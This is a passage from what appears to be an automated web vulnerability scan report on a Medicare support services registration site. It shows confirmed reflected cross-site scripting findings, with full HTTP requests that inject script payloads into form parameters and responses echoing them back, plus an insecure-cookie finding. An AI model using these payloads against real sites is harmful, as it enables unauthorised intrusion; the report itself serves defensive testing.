<td height=25><input type="text" name="telephone" size="20" maxlength="20" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/spacer.gif" width="5" height="5" align="top" />Email:&nbsp;</td>
<td height=25><input type="text" name="email" size="50" maxlength="50" value="netsparker@example.com" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 1:&nbsp;</td>
<td height=25><input type="text" name="address1" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 2:&nbsp;</td>
<td height=25><input type="text" name="address2" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />City:&nbsp;</td>
<td height=25><input type="text" name="city" size="30" maxlength="30" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/required.gif" width="5" height="5" align="top" />State:&nbsp;</td>
<td height=25><input type="text" name="state" size="2" maxlength="2" value="'"--></style></script><script>netsparker(0x0009BA)</script>" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Zip:&nbsp;</td>
<td colspan="3" height=25><input type="text" name="zip" size="10" maxlength="10" value="3" /></td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Demo User ID:&nbsp;</td>
<td colspan="3"..
- /mss/home/RegisterJsp.jsp

/mss/home/RegisterJsp.jsp CONFIRMED

https://www.medicare-solution.com/mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system..

Parameters

Parameter Type Value
sMsg GET User Id already exists in the system. Please choose another one
currentcust GET N
firstname GET Smith
lastname GET Smith
companyname GET Smith
org_type GET 3
provider_type GET 3
provider_type_other GET 3
cms_contract GET 3
interest_yn GET Y
telephone GET 3
email GET netsparker@example.com
address1 GET 3
address2 GET 3
city GET 3
state GET 3
zip GET '"--></style></script><script>alert(0x0009D6)</script>
demouserid GET 3

Request

GET /mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system.+Please+choose+another+one&currentcust=N&firstname=Smith&lastname=Smith&companyname=Smith&org_type=3&provider_type=3&provider_type_other=3&cms_contract=3&interest_yn=Y&telephone=3&email=netsparker@example.com&address1=3&address2=3&city=3&state=3&zip='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0009D6)%3C/script%3E&demouserid=3 HTTP/1.1
Referer: https://www.medicare-solution.com/servlet/RegisterServlet
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.medicare-solution.com
Cookie: JSESSIONID=0000c3VVLt0eD7gOWC8ioEHX89Z:-1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Date: Mon, 02 May 2011 15:24:30 GMT
Content-Type: text/html;charset=ISO-8859-1
Server: Microsoft-IIS/6.0,WebSphere Application Server/6.0
Content-Language: en-US
Transfer-Encoding: chunked




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<title>Medicare Solution Registration</title>
<style type="text/css">
<!--
body {
background-color: #CCCCCC;
margin-left: 0px;
margin-top: 3px;
margin-right: 0px;
margin-bottom: 0px;
}
-->
</style>
<link href="frontend.css" rel="stylesheet" type="text/css" />

<script language="JavaScript" src="../ssi/BasicValidation.js"></script>
<script language="JavaScript" src="../ssi/ExtraValidation.js"></script>
<script language="JavaScript">
function Moveit(obj)
{
document.register.demouserid.focus();
obj.focus();
obj.select();
return false;
}
function EditLogin() {
if (isFldEmpty(document.demologin.demouserid, "User Id"))
return false;
else if (isFldEmpty(document.demologin.demopwd, "Password"))
return false;
else
document.demologin.submit();
return true;
}
function ClearForm() {
document.demologin.demouserid.value = "";
document.demologin.demopwd.value = "";
document.register.firstname.value = "";
document.register.lastname.value = "";
document.register.companyname.value = "";
document.register.telephone.value = "";
document.register.email.value = "";
document.register.address1.value = "";
document.register.address2.value = "";
document.register.city.value = "";
document.register.state.value = "";
document.register.zip.value = "";
document.register.demouserid.value = "";
document.register.demopwd.value = "";
document.register.demoretypepwd.value = "";
doSelect(document.register.org_type,"");
doSelect(document.register.cms_contract,"");
doSelect(document.register.interest_yn,"");
doSelect(document.register.currentcust,"");
}
function EditRegFields() {
if(isSelectionEmpty(document.register.cms_contract, "Question 'Is your organization contracted with CMS now or in the future?'"))
{
return false;
}
if (isFldEmpty(document.register.firstname, "First Name"))
return false;
if (isFldEmpty(document.register.lastname, "Last Name"))
return false;
if (isFldEmpty(document.register.companyname, "Company Name"))
return false;
if(isSelectionEmpty(document.register.org_type, "Health Plan Type"))
return false;
if (isEmpty(document.register.telephone.value) && isEmpty(document.register.email.value)) {
alert("Either Phone or Email needs to be entered");
document.register.telephone.focus();
return false;
}
if (isWhitespace(document.register.telephone.value) && isWhitespace(document.register.email.value)) {
alert("Phone and Email cannot be both blank");
document.register.telephone.focus();
return false;
}
if (!isPhoneNumber(document.register.telephone))
return false;
if (!isEmpty(document.register.telephone.value))
{
if (!isEmail(document.register.email.value))
{
alert("Invalid Email Address");
return false;
}
}
if (isFldEmpty(document.register.city, "City"))
return false;
if (isFldEmpty(document.register.state, "State"))
return false;
if (isFldEmpty(document.register.demouserid, "Demo User Id"))
return false;
if (!ForceAlphaNumeric(document.register.demouserid, "Demo User Id"))
return false;
if (!isPassword(document.register.demopwd, "Demo Password"))
return false;
if (!isPassword(document.register.demoretypepwd, "Retype Password"))
return false;
if (document.register.demopwd.value != document.register.demoretypepwd.value) {
alert("Demo Password and Demo Password confirmation not matched");
document.register.demoretypepwd.focus();
return false;
}

document.register.submit();
return true;
}
function doGoBack() {
location.href = "OpenDemos.jsp";
}
</script>


</head>

<body onload="document.demologin.demouserid.focus()">
<div align="center">
<img src="images/header_wipro.jpg" width="950" height="58" />
<table width="950" height="33" border="0" cellpadding="0" cellspacing="0" class="navhome">
<tr>
<td width="30" height="32">&nbsp;</td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="Index.jsp">Home</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="about_us.jsp">About Us</a> </td>
<td><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="OpenDemos.jsp">Visitors</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="services.jsp">Our Services</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="contact_us.jsp">Contact Us</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="http://www.wipro.com">Wipro</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td width="30">&nbsp;</td>
</tr>
</table>

<table width="950" border="0" cellpadding="25" cellspacing="0" bgcolor="#FFFFFF" class="pages">
<tr>
<td valign="top"><span class="headings"><a name="registerJsp" id="registerJsp"></a></span>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836"><strong class="serviceheaders"><a name="register" id="register"></a>Demonstration</strong><br />
<p>
If you have not registered yet, <a href="" onclick="return Moveit(document.register.currentcust);">Click here to create a Demo User ID and Register your profile</a>
</p>
<p>
If you have already registered with Medicare-Solution you can enter your Demo User ID and Password and
select the "Login" button to update your profile information.
</p>
</td>
</tr>
<tr>
<td>
<form name="demologin" action="/servlet/DemoLoginServlet" method="post" onsubmit="return EditLogin()">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="4"><span class="loginerrtx">User Id already exists in the system. Please choose another one</span></td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo User ID:</td>
<td width="25%" height=25><input type=text name=demouserid size=10 maxlength=10 value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo Password:</td>
<td height=25><input type="password" name=demopwd value="" size=14 maxlength=14 /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=46>&nbsp;</td>
<td height=46><input type=submit value="Login" name=login /></td>
<td colspan="2" height=46>&nbsp;</td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836" colspan="2"><strong class="serviceheaders"><a name="medicare" id="medicare"></a>Medicare-Solution Registration</strong><br />
<p>
Welcome to Medicare-Solution, please enter all fields and select the "Register" button below.<br />
Required fields are flagged with a (<img src="../images/required.gif" width="5" height="5" align="middle" />).<br /><br />
</p>
</td>
</tr>
<tr>
<td>
<form name="register" action="/servlet/RegisterServlet" method="post">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Are you currently a Medicare-Solution Customer (Y/N)?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="currentcust">
<option value="N" selected>No</option>
<option value="Y" >Yes</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Do you wish to be contacted by Medicare Support Services?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="interest_yn">
<option value="Y" selected>Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/required.gif" width="5" height="5" align="top" />Is your organization contracted with CMS now or in the future?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="cms_contract">
<option value=""></option>
<option value="Y" >Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr><td colspan="4">&nbsp;</td></tr>
<tr>
<td width="20%" height=25><img src="images/required.gif" width="5" height="5" align="top" />First Name:</td>
<td width="25%" height=25><input type="text" name="firstname" size="20" maxlength=20 value="Smith" /></td>
<td width="15%" height=25>&nbsp;&nbsp;&nbsp;<img src="images/required.gif" width="5" height="5" align="top" />Last Name:</td>
<td height=25><input type="text" name="lastname" size="20" maxlength=20 value="Smith" /></td>
</tr>
<tr>
<td width="25%" height=25><img src="images/required.gif" width="5" height="5" align="top" />Company Name:</td>
<td height=25><input type="text" name="companyname" size="20" maxlength=20 value="Smith" /></td>
<td colspan="2">&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Health Plan Type:</td>
<td>
<select name="org_type">
<option value=""></option>
<option value="MAPD" >MAPD</option>
<option value="PDP" >PDP</option>
<option value="SNP" >SNP</option>
<option value="PACE" >PACE</option>
</select>
</td>
</tr>
<tr>
<td colspan="4" class="smallnote" height=25>
<center><img src="../images/required.gif" width="5" height="5" align="top" />
(Either a Telephone Number OR an Email Address is required)</center>
</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Phone:&nbsp;</td>
<td height=25><input type="text" name="telephone" size="20" maxlength="20" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/spacer.gif" width="5" height="5" align="top" />Email:&nbsp;</td>
<td height=25><input type="text" name="email" size="50" maxlength="50" value="netsparker@example.com" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 1:&nbsp;</td>
<td height=25><input type="text" name="address1" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 2:&nbsp;</td>
<td height=25><input type="text" name="address2" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />City:&nbsp;</td>
<td height=25><input type="text" name="city" size="30" maxlength="30" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/required.gif" width="5" height="5" align="top" />State:&nbsp;</td>
<td height=25><input type="text" name="state" size="2" maxlength="2" value="3" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Zip:&nbsp;</td>
<td colspan="3" height=25><input type="text" name="zip" size="10" maxlength="10" value="'"--></style></script><script>netsparker(0x0009D6)</script>" /></td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Demo User ID:&nbsp;</td>
<td colspan="3"..
- /mss/home/RegisterJsp.jsp

/mss/home/RegisterJsp.jsp CONFIRMED

https://www.medicare-solution.com/mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system..

Parameters

Parameter Type Value
sMsg GET User Id already exists in the system. Please choose another one
currentcust GET N
firstname GET Smith
lastname GET Smith
companyname GET Smith
org_type GET 3
provider_type GET 3
provider_type_other GET 3
cms_contract GET 3
interest_yn GET Y
telephone GET 3
email GET netsparker@example.com
address1 GET 3
address2 GET 3
city GET 3
state GET 3
zip GET 3
demouserid GET '"--></style></script><script>alert(0x0009F2)</script>

Request

GET /mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system.+Please+choose+another+one&currentcust=N&firstname=Smith&lastname=Smith&companyname=Smith&org_type=3&provider_type=3&provider_type_other=3&cms_contract=3&interest_yn=Y&telephone=3&email=netsparker@example.com&address1=3&address2=3&city=3&state=3&zip=3&demouserid='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0009F2)%3C/script%3E HTTP/1.1
Referer: https://www.medicare-solution.com/servlet/RegisterServlet
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.medicare-solution.com
Cookie: JSESSIONID=00009O6A75lFfx6hpJyFEWng_5A:-1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Date: Mon, 02 May 2011 15:24:32 GMT
Content-Type: text/html;charset=ISO-8859-1
Server: Microsoft-IIS/6.0,WebSphere Application Server/6.0
Content-Language: en-US
Transfer-Encoding: chunked




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<title>Medicare Solution Registration</title>
<style type="text/css">
<!--
body {
background-color: #CCCCCC;
margin-left: 0px;
margin-top: 3px;
margin-right: 0px;
margin-bottom: 0px;
}
-->
</style>
<link href="frontend.css" rel="stylesheet" type="text/css" />

<script language="JavaScript" src="../ssi/BasicValidation.js"></script>
<script language="JavaScript" src="../ssi/ExtraValidation.js"></script>
<script language="JavaScript">
function Moveit(obj)
{
document.register.demouserid.focus();
obj.focus();
obj.select();
return false;
}
function EditLogin() {
if (isFldEmpty(document.demologin.demouserid, "User Id"))
return false;
else if (isFldEmpty(document.demologin.demopwd, "Password"))
return false;
else
document.demologin.submit();
return true;
}
function ClearForm() {
document.demologin.demouserid.value = "";
document.demologin.demopwd.value = "";
document.register.firstname.value = "";
document.register.lastname.value = "";
document.register.companyname.value = "";
document.register.telephone.value = "";
document.register.email.value = "";
document.register.address1.value = "";
document.register.address2.value = "";
document.register.city.value = "";
document.register.state.value = "";
document.register.zip.value = "";
document.register.demouserid.value = "";
document.register.demopwd.value = "";
document.register.demoretypepwd.value = "";
doSelect(document.register.org_type,"");
doSelect(document.register.cms_contract,"");
doSelect(document.register.interest_yn,"");
doSelect(document.register.currentcust,"");
}
function EditRegFields() {
if(isSelectionEmpty(document.register.cms_contract, "Question 'Is your organization contracted with CMS now or in the future?'"))
{
return false;
}
if (isFldEmpty(document.register.firstname, "First Name"))
return false;
if (isFldEmpty(document.register.lastname, "Last Name"))
return false;
if (isFldEmpty(document.register.companyname, "Company Name"))
return false;
if(isSelectionEmpty(document.register.org_type, "Health Plan Type"))
return false;
if (isEmpty(document.register.telephone.value) && isEmpty(document.register.email.value)) {
alert("Either Phone or Email needs to be entered");
document.register.telephone.focus();
return false;
}
if (isWhitespace(document.register.telephone.value) && isWhitespace(document.register.email.value)) {
alert("Phone and Email cannot be both blank");
document.register.telephone.focus();
return false;
}
if (!isPhoneNumber(document.register.telephone))
return false;
if (!isEmpty(document.register.telephone.value))
{
if (!isEmail(document.register.email.value))
{
alert("Invalid Email Address");
return false;
}
}
if (isFldEmpty(document.register.city, "City"))
return false;
if (isFldEmpty(document.register.state, "State"))
return false;
if (isFldEmpty(document.register.demouserid, "Demo User Id"))
return false;
if (!ForceAlphaNumeric(document.register.demouserid, "Demo User Id"))
return false;
if (!isPassword(document.register.demopwd, "Demo Password"))
return false;
if (!isPassword(document.register.demoretypepwd, "Retype Password"))
return false;
if (document.register.demopwd.value != document.register.demoretypepwd.value) {
alert("Demo Password and Demo Password confirmation not matched");
document.register.demoretypepwd.focus();
return false;
}

document.register.submit();
return true;
}
function doGoBack() {
location.href = "OpenDemos.jsp";
}
</script>


</head>

<body onload="document.demologin.demouserid.focus()">
<div align="center">
<img src="images/header_wipro.jpg" width="950" height="58" />
<table width="950" height="33" border="0" cellpadding="0" cellspacing="0" class="navhome">
<tr>
<td width="30" height="32">&nbsp;</td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="Index.jsp">Home</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="about_us.jsp">About Us</a> </td>
<td><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="OpenDemos.jsp">Visitors</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="services.jsp">Our Services</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="contact_us.jsp">Contact Us</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="http://www.wipro.com">Wipro</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td width="30">&nbsp;</td>
</tr>
</table>

<table width="950" border="0" cellpadding="25" cellspacing="0" bgcolor="#FFFFFF" class="pages">
<tr>
<td valign="top"><span class="headings"><a name="registerJsp" id="registerJsp"></a></span>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836"><strong class="serviceheaders"><a name="register" id="register"></a>Demonstration</strong><br />
<p>
If you have not registered yet, <a href="" onclick="return Moveit(document.register.currentcust);">Click here to create a Demo User ID and Register your profile</a>
</p>
<p>
If you have already registered with Medicare-Solution you can enter your Demo User ID and Password and
select the "Login" button to update your profile information.
</p>
</td>
</tr>
<tr>
<td>
<form name="demologin" action="/servlet/DemoLoginServlet" method="post" onsubmit="return EditLogin()">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="4"><span class="loginerrtx">User Id already exists in the system. Please choose another one</span></td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo User ID:</td>
<td width="25%" height=25><input type=text name=demouserid size=10 maxlength=10 value="'"--></style></script><script>netsparker(0x0009F2)</script>" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo Password:</td>
<td height=25><input type="password" name=demopwd value="" size=14 maxlength=14 /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=46>&nbsp;</td>
<td height=46><input type=submit value="Login" name=login /></td>
<td colspan="2" height=46>&nbsp;</td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836" colspan="2"><strong class="serviceheaders"><a name="medicare" id="medicare"></a>Medicare-Solution Registration</strong><br />
<p>
Welcome to Medicare-Solution, please enter all fields and select the "Register" button below.<br />
Required fields are flagged with a (<img src="../images/required.gif" width="5" height="5" align="middle" />).<br /><br />
</p>
</td>
</tr>
<tr>
<td>
<form name="register" action="/servlet/RegisterServlet" method="post">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Are you currently a Medicare-Solution Customer (Y/N)?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="currentcust">
<option value="N" selected>No</option>
<option value="Y" >Yes</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Do you wish to be contacted by Medicare Support Services?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="interest_yn">
<option value="Y" selected>Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/required.gif" width="5" height="5" align="top" />Is your organization contracted with CMS now or in the future?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="cms_contract">
<option value=""></option>
<option value="Y" >Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr><td colspan="4">&nbsp;</td></tr>
<tr>
<td width="20%" height=25><img src="images/required.gif" width="5" height="5" align="top" />First Name:</td>
<td width="25%" height=25><input type="text" name="firstname" size="20" maxlength=20 value="Smith" /></td>
<td width="15%" height=25>&nbsp;&nbsp;&nbsp;<img src="images/required.gif" width="5" height="5" align="top" />Last Name:</td>
<td height=25><input type="text" name="lastname" size="20" maxlength=20 value="Smith" /></td>
</tr>
<tr>
<td width="25%" height=25><img src="images/required.gif" width="5" height="5" align="top" />Company Name:</td>
<td height=25><input type="text" name="companyname" size="20" maxlength=20 value="Smith" /></td>
<td colspan="2">&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Health Plan Type:</td>
<td>
<select name="org_type">
<option value=""></option>
<option value="MAPD" >MAPD</option>
<option value="PDP" >PDP</option>
<option value="SNP" >SNP</option>
<option value="PACE" >PACE</option>
</select>
</td>
</tr>
<tr>
<td colspan="4" class="smallnote" height=25>
<center><img src="../images/required.gif" width="5" height="5" align="top" />
(Either a Telephone Number OR an Email Address is required)</center>
</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Phone:&nbsp;</td>
<td height=25><input type="text" name="telephone" size="20" maxlength="20" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/spacer.gif" width="5" height="5" align="top" />Email:&nbsp;</td>
<td height=25><input type="text" name="email" size="50" maxlength="50" value="netsparker@example.com" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 1:&nbsp;</td>
<td height=25><input type="text" name="address1" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 2:&nbsp;</td>
<td height=25><input type="text" name="address2" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />City:&nbsp;</td>
<td height=25><input type="text" name="city" size="30" maxlength="30" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/required.gif" width="5" height="5" align="top" />State:&nbsp;</td>
<td height=25><input type="text" name="state" size="2" maxlength="2" value="3" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Zip:&nbsp;</td>
<td colspan="3" height=25><input type="text" name="zip" size="10" maxlength="10" value="3" /></td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Demo User ID:&nbsp;</td>
<td colspan="3"..
Cookie Not Marked As Secure

Cookie Not Marked As Secure
1 TOTAL
IMPORTANT
CONFIRMED
1
A Cookie was not marked as secure and transmitted over HTTPS. This means the cookie could potentially be stolen by an attacker who can successfully intercept and decrypt the traffic or following a successful MITM (Man in the middle) attack.

Impact

This cookie will be transmitted over a HTTP connection, therefore if this cookie is important (such as a session cookie) an attacker might intercept it and hijack a victim's session. If the attacker can carry out a MITM attack, he/she can force victim to make a HTTP request to steal the cookie.

Actions to Take

  1. See the remedy for solution.
  2. Mark all cookies used within the application as secure. (If the cookie is not related to authentication or does not carry any personal information you do not have to mark it as secure.))

Remedy

Mark all cookies used within the application as secure.

Required Skills for Successful Exploitation

To exploit this issue, the attacker needs to be able to intercept traffic. This generally requires local access to the web server or victim's network. Attackers need to be understand layer 2, have physical access to systems either as way points for the traffic, or locally (have gained access to) to a system between the victim and the web server.
- /mss/home/Index.jsp

/mss/home/Index.jsp CONFIRMED

https://www.medicare-solution.com/mss/home/Index.jsp

Identified Cookie

JSESSIONID

Request

GET /mss/home/Index.jsp HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.medicare-solution.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Expires: 0
Date: Mon, 02 May 2011 15:22:11 GMT
Content-Type: text/html
Server: Microsoft-IIS/6.0,WebSphere Application Server/6.0
Content-Language: en-US
Set-Cookie: JSESSIONID=0000Bv6uc_FwCr9mKiYh15YdzZ7:-1; Path=/
Transfer-Encoding: chunked




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<title>Medicare Support Services Home Page</title>
<style type="text/css">
<!--
body {
background-color: #CCCCCC;
margin-left: 0px;
margin-top: 3px;
margin-right: 0px;
margin-bottom: 0px;
}
-->
</style>
<link href="frontend.css" rel="stylesheet" type="text/css" />
<script language="JavaScript">
<!--
if (window != top) top.location.href = "/mss/home/Index.jsp";
// -->
</script>
<script language="JavaScript" src="../ssi/BasicValidation.js"></script>
<script>
function doVerify()
{
if (isFldEmpty(document.frmLogin.User_id,"User Id"))
return false;
if (isFldEmpty(document.frmLogin.User_pwd,"Password"))
return false;

document.frmLogin.screen.value = screen.width + "x" + screen.height;
document.frmLogin.userAgent.value = navigator.userAgent;

return true;
}
function doOnload()
{
document.frmLogin.User_id.focus();
document.frmLogin.User_id.select();
}

function showForgetPwd() {

document.frmLogin.action = "/mss/home/ForgotPassword.jsp"
document.frmLogin.submit();
}

function doLogin()
{
if (doVerify())
document.frmLogin.submit;
}
</script>
</head>
<body onload="doOnload()">
<div align="center">
<img src="images/header_wipro.jpg" width="950" height="58" />
<table width="950" height="33" border="0" cellpadding="0" cellspacing="0" class="navhome">
<tr>
<td width="30" height="32">&nbsp;</td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="Index.jsp">Home</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="about_us.jsp">About Us</a> </td>
<td><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="OpenDemos.jsp">Visitors</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="services.jsp">Our Services</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="contact_us.jsp">Contact Us</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="http://www.wipro.com">Wipro</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td width="30">&nbsp;</td>
</tr>
</table>

<table width="950" border="0" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF">
<tr>
<td width="274" height="406" align="center" background="images/home_demo.jpg">
<table width="227" border="0" cellpadding="0" cellspacing="0">
<tr>
<td height="350">&nbsp;</td>
</tr>
<tr>
<td align="center" valign="top"><a href="OpenDemos.jsp"><img src="images/but_demo.gif" width="227" height="35" border="0" /></a></td>
</tr>
</table>
</td>
<td width="378" align="center" valign="top" bgcolor="#FFFFFF"><img src="images/heading_mss.gif" width="377" height="32" />
<div class="intro">Since 1986, Wipro Healthcare has excelled at providing quick, reliable, and cost-effective Departmental Medicare Support Services to Managed Care organizations throughout the United States. Our Online Eligibility and Enrollment System provide accurate and cost-effective access to Medicare entitlement verification and enrollment. <a href="about_us.jsp">&gt; read more</a> </div>
<img src="images/howhelp.gif" width="378" height="50" vspace="8" /><br />
<table width="275" border="0" cellspacing="2" cellpadding="0">
<tr>
<td width="35"><img src="images/help_icon.gif" width="31" height="18" /></td>
<td align="left"><a href="convenience.jsp" class="helppoints">Convenience</a></td>
</tr>
<tr>
<td><img src="images/help_icon.gif" width="31" height="18" /></td>
<td align="left"><a href="security.jsp" class="helppoints">Security</a></td>
</tr>
<tr>
<td><img src="images/help_icon.gif" width="31" height="18" /></td>
<td align="left"><a href="data_integrity.jsp" class="helppoints">Data Integrity</a> </td>
</tr>
<tr>
<td><img src="images/help_icon.gif" width="31" height="18" /></td>
<td align="left"><a href="payments.jsp" class="helppoints">Reliable and Timely Capitation Payments</a> </td>
</tr>
<tr>
<td><img src="images/help_icon.gif" width="31" height="18" /></td>
<td align="left"><a href="overhead_reductions.jsp" class="helppoints">Overhead Reductions</a> </td>
</tr>
<tr>
<td><img src="images/help_icon.gif" width="31" height="18" /></td>
<td align="left"><a href="staff.jsp" class="helppoints">Knowledgeable Staff</a> </td>
</tr>
<tr>
<td><img src="images/help_icon.gif" width="31" height="18" /></td>
